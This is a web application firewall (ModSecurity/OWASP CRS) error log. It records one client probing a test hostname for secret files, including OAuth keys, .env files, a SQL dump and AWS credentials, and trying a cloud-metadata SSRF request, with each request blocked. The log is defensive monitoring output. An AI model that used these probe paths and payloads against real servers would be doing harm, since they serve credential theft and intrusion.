[Sun Mar 22 01:06:29.599902 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/laravel.log&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFngAAAAg&quot;]
[Sun Mar 22 01:06:29.621900 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/oauth-private.key&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFnwAAAAg&quot;]
[Sun Mar 22 01:06:29.622262 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/oauth-private.key&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFnwAAAAg&quot;]
[Sun Mar 22 01:06:29.622390 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/oauth-private.key&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFnwAAAAg&quot;]
[Sun Mar 22 01:06:29.644283 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/oauth-public.key&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFoAAAAAg&quot;]
[Sun Mar 22 01:06:29.644641 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/oauth-public.key&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFoAAAAAg&quot;]
[Sun Mar 22 01:06:29.644764 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/oauth-public.key&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFoAAAAAg&quot;]
[Sun Mar 22 01:06:29.712022 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /symfony/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/symfony/.env&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFowAAAAg&quot;]
[Sun Mar 22 01:06:29.712263 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/symfony/.env&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFowAAAAg&quot;]
[Sun Mar 22 01:06:29.712402 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/symfony/.env&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFowAAAAg&quot;]
[Sun Mar 22 01:06:29.756999 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /terraform/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/terraform/.env&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFpQAAAAg&quot;]
[Sun Mar 22 01:06:29.757186 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/terraform/.env&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFpQAAAAg&quot;]
[Sun Mar 22 01:06:29.757306 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/terraform/.env&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFpQAAAAg&quot;]
[Sun Mar 22 01:06:29.802201 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.env&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFpwAAAAg&quot;]
[Sun Mar 22 01:06:29.802416 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.env&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFpwAAAAg&quot;]
[Sun Mar 22 01:06:29.802544 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.env&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFpwAAAAg&quot;]
[Sun Mar 22 01:06:29.847136 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/db.sql&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFqQAAAAg&quot;]
[Sun Mar 22 01:06:29.847532 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/db.sql&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFqQAAAAg&quot;]
[Sun Mar 22 01:06:29.847671 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/db.sql&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFqQAAAAg&quot;]
[Sun Mar 22 01:06:29.915100 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Pattern match &quot;^(?i:file|ftps?|https?):\\\\/\\\\/(?:\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})&quot; at ARGS:url. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf&quot;] [line &quot;54&quot;] [id &quot;931100&quot;] [msg &quot;Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address&quot;] [data &quot;Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-rfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/RFI&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFrAAAAAg&quot;]
[Sun Mar 22 01:06:29.915470 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFrAAAAAg&quot;]
[Sun Mar 22 01:06:29.915621 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFrAAAAAg&quot;]
[Sun Mar 22 01:06:29.937690 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /tmp/.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/.aws/config&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFrQAAAAg&quot;]
[Sun Mar 22 01:06:29.937884 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/.aws/config&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFrQAAAAg&quot;]
[Sun Mar 22 01:06:29.938009 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/.aws/config&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFrQAAAAg&quot;]
[Sun Mar 22 01:06:29.960288 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /tmp/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/.aws/credentials&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFrgAAAAg&quot;]
[Sun Mar 22 01:06:29.960475 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/.aws/credentials&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFrgAAAAg&quot;]
[Sun Mar 22 01:06:29.960597 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/.aws/credentials&quot;] [unique_id &quot;ab8yhbvc1sKRk16HHKMFrgAAAAg&quot;]
[Sun Mar 22 01:06:30.028548 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tmp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/.env&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFsQAAAAg&quot;]
[Sun Mar 22 01:06:30.028747 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/.env&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFsQAAAAg&quot;]
[Sun Mar 22 01:06:30.028866 2026] [:error] [pid 2857388] [client 185.177.72.38:31372] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/.env&quot;] [unique_id &quot;ab8yhrvc1sKRk16HHKMFsQAAAAg&quot;]
